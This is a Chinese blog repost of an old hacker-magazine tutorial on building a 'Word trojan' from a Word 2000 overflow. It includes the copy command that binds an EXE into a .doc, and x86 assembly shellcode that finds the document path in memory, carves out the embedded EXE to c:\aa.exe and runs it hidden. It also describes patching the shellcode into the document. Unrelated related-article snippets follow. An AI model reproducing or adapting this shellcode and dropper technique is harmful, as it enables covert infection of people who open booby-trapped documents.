编写word木马的shellcode

2024-02-08 12:18
文章标签 编写 word 木马 shellcode

本文主要是介绍编写word木马的shellcode,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

编写Word木马的ShellCode
作者:Azrael  来源:网鹰工作室  日期:2008-01-08 15:24:00

曹军分析了导致去年“万珍”病毒的Word 2000溢出漏洞细节,但并没涉及漏洞的具体利用;第4期文章,黑防讨论了生成WMF木马的ShellCode的设计与实现。由于自身的特点,Word木马的设计与前者有较大的区别,下面由我对此进行一下分析。

预备知识
讨论ShellCode之前,我们需要掌握几个预备知识:
1.诸如Doc、PDF、WMF、Jpg等文件内容解析过程引发的漏洞,我们都称之为文件解析漏洞。由于漏洞利用的载体是文件,因此这类漏洞最大的特点就是可以制作成木马。
2.通过文件解析漏洞制作木马的方法有3种:第一种是通过ShellCode来完成全部木马功能,缺陷是往往可能受到ShellCode字节数的限制;第2种是通过ShellCode到指定的URL下载并执行木马文件,缺陷是由于访问网络而可能受到防火墙的限制;第3种是在文件直接绑定EXE木马文件,这种方式比较隐蔽,ShellCode只负责生成并运行木马文件,复杂的网络通信与系统访问功能都由木马文件来完成。本文采用第三种方法进行操作。
3.同WMF木马的制作一样,通过copy命令即可在Doc文件绑定EXE文件: copy /b old.doc+aa.exe new.doc。事实上上,绑定两个文件大多可以通过该命令来完成。
4、与WMF木马基于IE传播不同,Word木马则可能有多种传播形式:E-mail、QQ、IE等。因此,通过在IE临时文件夹(TIF)查找文件的思路就不可靠了。

ShellCode设计思路
有了上面的预备知识,在假设漏洞已经分析清楚的前提下,ShellCode的设计思路如下:
1.查找ShellCode可用到的各API函数地址,这里没什么技巧。
2.绑定木马后的Doc文件查找,这是关键。前面说了,最好不通过TIF来查找,因为成功率很低。因此最有效的办法就是内存进行搜索文件路径,方法如下:
1)找到Doc文件填写ShellCode的位置,将前两个字节改为EB FE(JMP -2):
EB FE前面4字节0x0013C3F4就是XP SP2下ShellCode地址。
2)用Word打开上述Doc文件,可以看到CPU占有率达到100%。打开 Softice,输入命令code on,发现EIP指针停留在EB FE指令上。
3)Alt+D调出数据区,发现EB FE指令后不远的内存区域内,总包含我们需要的Doc文件路径。因此,我们通过动态搜索内存的方法可以很快找到地址。但必须注意一个问题:要保证搜索开始地址到Doc文件路径存放地址之间的内存区域一定要连续可读,否则将难以实现。
3.测试时发现内存Doc文件路径是以UNICODE形式表现的,所以必须通过CreateFileW函数打开该Doc文件,然后通过CreateFileA创建文件aa.exe。
4.通过SetFilePointer函数,让Doc文件的指针指向aa.exe文件数据开始的地方,即指向“MZ”。
5.循环Doc文件读取aa.exe文件数据,并写入aa.exe。
6.执行生成的aa.exe,并安全退出WinWord。
汇编实现及ShellCode的提取
思路整理好后,我们开始编程。此程序在Windows XP SP2 +VC6下汇编实现,并测试通过。

1.查找ShellCode可用到的各API函数地址,包括GetProcAddress、LoadLibraryA、CreateFileW、CreateFileA、SetFilePointer、ReadFile、WriteFile、WinExec、ExitThread等。这些函数全部在Kernel32.dll,具体实现请参考4期溢出文章的详细介绍,这里仅给出存放函数地址的内存规划
2.在内存动态搜索Doc文件路径。根据上面的思路,XP SP2下0x0013c300开始搜索,2000+SP4下0x0012c300开始搜索。
小知识:由于Word2000的编译器不是2003.NET的,因此2003下该漏洞利用也应该没问题,各位读者可以测试一下。

搜索部分的汇编代码如下:
//0x0013c300处开始向高地址处搜索当前doc文件路径,搜索标志为:/
//留出空间以备将来存放长的数据
sub esp, 0x800
mov esi, esp
add esi, 4
mov edi, 0x12c300
mov ebx, 0x005C003A //“:/”UNICODE形式
xor ecx, ecx //初始为0
//循环比较
comp:
inc ecx
cmp ebx, dword ptr[edi + ecx - 1]
jnz comp
3.找到Doc文件路径后,通过CreateFileW函数打开该Doc文件,然后通过CreateFileA创建文件aa.exe。汇编代码如下:
lea ebx, dword ptr[edi + ecx - 3]
push 0
push 0x80 //FILE_ATTRIBUTE_NORMAL
push 3 //OPEN_EXISTING
push 0
push 3 //FILE_SHARE_READ | FILE_SHARE_WRITE
push 0x80000000 //GENERIC_READ
push ebx
call dword ptr[ebp + 28h] //CreateFileW
cmp eax, 0
jle gameover //-1则结束
mov dword ptr[ebp + 30h], eax //保存doc文件句柄
//创建可执行文件c:/aa.exe
mov dword ptr[ebp], 0x615c3a63
mov dword ptr[ebp + 4], 'xe.a'
mov dword ptr[ebp + 8], 'e'
push 0
push 0 //FILE_ATTRIBUTE_NORMAL
push 2 //CREATE_ALWAYS
push 0
push 0
push 0x40000000 //GENERIC_WRITE
push ebp
call dword ptr[ebp + 24h] //CreateFileA
cmp eax, 0
jle gameover
mov dword ptr[ebp + 34h], eax //保存exe文件句柄
4.通过SetFilePointer函数让Doc文件指针指向aa.exe文件数据开始的地方,即指向“MZ”。该位置可以直接UltraEdit32读取。汇编代码如下:
//SetFilePointer设置文件偏移(exe文件位置)
push 0
push 0
push 0x6800 //exe文件数据开始处
mov eax, dword ptr[ebp + 30h] //doc文件句柄
push eax
call dword ptr[ebp + 20h] //SetFilePointer
5.循环Doc文件读取aa.exe文件数据,并写入aa.exe。汇编代码如下:
mov dword ptr[ebp + 40h], 0 //保存每次实际读取的数据
mov dword ptr[ebp + 44h], 0 //保存每次实际写入的数据
Read_Write_exe:
push 0
lea eax, dword ptr[ebp + 40h]
push eax
push 0x400 //每次预定读取1024字节
push esi //存放每次读取后数据的缓冲区地址
push dword ptr[ebp + 30h] //doc文件句柄
call dword ptr[ebp+1Ch] //ReadFile
push 0
lea eax, dword ptr[ebp + 44h] //每次实际写入的数据字节数地址
push eax
push dword ptr[ebp + 40h]
push esi
push dword ptr[ebp + 34h] //exe文件句柄
call dword ptr[ebp+18h] //WriteFile
cmp dword ptr[ebp + 44h], 0x400 //判断是否读写完毕
jge Read_Write_exe
//关闭doc和exe文件句柄
push dword ptr[ebp+30h]
call dword ptr[ebp + 38h] //CloseHandle
push dword ptr[ebp+34h]
call dword ptr[ebp + 38h] //CloseHandle
6、最后执行生成的aa.exe,并安全退出WinWord。汇编代码如下:
push 0 //SW_HIDE
push ebp
call dword ptr[ebp + 14h] //Winexec
gameover:
//ExitThread
push 0
call dword ptr[ebp + 3Ch] //ExitThread
OK,汇编实现就是这样了,接下来就是ShellCode的提取提取方法以前黑防也介绍过,就是VC调试界面的内存窗口直接读取汇编代码对应的机器编码:
然后将这些二进制数据拷贝到UltraEdit32,再通过一个简单的转换程序转换为我们熟悉的/x形式即可。具体过程这里就不再讨论了,在光盘我直接给出转换程序代码
Word木马的构造与测试
ShellCode提取之后,我们再通过两个简单的转换程序写入到Doc文档。为了不破坏Doc文档,数据写入的方式应该采用“改写”而不是“插入”。两个转换程序分别为 readdoc和newdoc:前者读取Doc文件数据,后者根据前者得到的数据进行改写,并重新生成Doc文件。程序光盘附带,大家直接编译就可以了。
Word木马的构造前面已经提到,直接通过copy命令即可完成。至于测试……大家可以直接绑定cmd.exe试试,在光盘我也提供了一个绑定后的样本。实际应用,为了减小Doc木马体积,建议大家采用汇编编写的EXE程序。
上面的分析可知,绑定一个文件和绑定多个文件的方法类似,并且和绑定的文件格式无关。
小结
在本文,我们讨论了以Word2000溢出漏洞为基础,创建Word木马的ShellCode编写技术。其实这种方法应用是比较广的,而涉及的技术也大多是比较基础的。最近Word XP和Word 2003又暴出新漏洞,而且已经被成功利用。大家参考2期的漏洞分析文章和本文,相信也能分析出这些新漏洞。最后还是那句老话,欢迎大家交流。

这篇关于编写word木马的shellcode的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/691011

相关文章

如何编写Linux PCIe设备驱动器 之二

如何编写Linux PCIe设备驱动器 之二 功能(capability)集功能(capability)APIs通过pci_bus_read_config完成功能存取功能APIs参数pos常量值PCI功能结构 PCI功能IDMSI功能电源功率管理功能 功能(capability)集 功能(capability)APIs int pcie_capability_read_wo

C - Word Ladder题解

C - Word Ladder 题解 解题思路: 先输入两个字符串S 和t 然后在S和T中寻找有多少个字符不同的个数(也就是需要变换多少次) 开始替换时: tips: 字符串下标以0开始 我们定义两个变量a和b,用于记录当前遍历到的字符 首先是判断:如果这时a已经==b了,那么就跳过,不用管; 如果a大于b的话:那么我们就让s中的第i项替换成b,接着就直接输出S就行了。 这样

解决Office Word不能切换中文输入

我们在使用WORD的时可能会经常碰到WORD中无法输入中文的情况。因为,虽然我们安装了搜狗输入法,但是到我们在WORD中使用搜狗的输入法的切换中英文的按键的时候会发现根本没有效果,无法将输入法切换成中文的。下面我就介绍一下如何在WORD中把搜狗输入法切换到中文。

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问量巨大,此次挂马事件受害者甚众,安全团队专门针对该木马进行严密监控,并对其幕后真凶进行了深入调查。 一、“大灰狼”的伪装 以下是10月30日一天内大灰狼远控的木马样本截图,可以看到该木马变种数量不

Wondows dos下怎么编写bat批处理文件

最近搞php,在运行时,以Nginx+php-cgi.exe方式运行Wordpress项目 打开dos,先cd到php-cgi.exe文件当前目录下执行启动命令:php-cgi.exe -b 127.0.0.1:9001再打开一个dos,再cd到nginx.exe文件当前目录下执行启动命令:start nginx 大概过程要经过这些步骤,觉得很麻烦,就学下怎么编写一个bat文件,以双击运行代替

Excel和Word日常使用记录:

Excel使用总结 表格颜色填充: 合并单元格: 选中你要合并的单元格区域。按下快捷键 Alt + H,然后松开这些键。再按下 M,接着按 C。这个组合键执行的操作是:Alt + H:打开“主页”选项卡。M:选择“合并单元格”选项。C:执行“合并并居中”操作。 插入行: 在Excel中,插入一行的快捷键是:Windows:选择整行(可以点击行号)。按下 Ctrl + Sh

用Python编写倒计时程序:详细教程

目录 引言 环境准备 基本概念 代码实现 步骤一:导入必要的库 步骤二:获取用户输入 步骤三:实现倒计时逻辑 步骤四:整合代码 运行程序 高级功能 扩展功能示例:支持分钟和小时输入 扩展功能示例:图形用户界面 (GUI) 总结 引言 倒计时程序是一个非常常见的小工具,广泛用于各种应用场景中,例如考试时间提醒、烹饪计时器、会议倒计时等。Python 作为一种

word转PDF后mathtype公式乱码以及图片分辨率降低等一系列问题|完美解决

word转PDF后mathtype公式乱码以及图片分辨率降低等一系列问题|完美解决 问题描述 最近在投一篇期刊论文,直接提交word文档,当时没有查看提交预览,一审审稿意见全是:公式乱码、公式乱码、乱码啊!!!是我大意了,第二次提交,我就决定将word文档转成PDF后再提交,避免再次出现公式乱码的问题。接着问题又来了,我利用‘文件/导出’或‘文件/另存为’的方式将word转成PDF后,发现公式

【信创建设】信息系统信创建设整体技方案(word原件完整版)

信创,即“信息技术应用创新”。我国自主信息产业聚焦信息技术应用创新,旨在通过对IT硬件、软件等各个环节的重构,基于我国自有IT底层架构和标准,形成自有开放生态,从根本上解决本质安全问题,实现信息技术可掌控、可研究、可发展、可生产。信创发展是一项国家战略,也是当今形势下国家经济发展的新功能。信创产业发展已经成为各行各业数字化转型、提升产业链发展的关键。 软件全套资料部分文档清单: 工作安排任

.net MVC 导出Word--思路详解

序言:          一般在项目的开发过程中,总会接收到一个个需求,其中将数据转换成Work来下载,是一个很常见的需求;          那么,我们改如何处理这种需求,并输出实现呢?          在做的过程中,去思考 1、第一步:首先确认,Work的存在位置,并创建字符输出路:             //在的项目中创建一个存储work的文件夹             string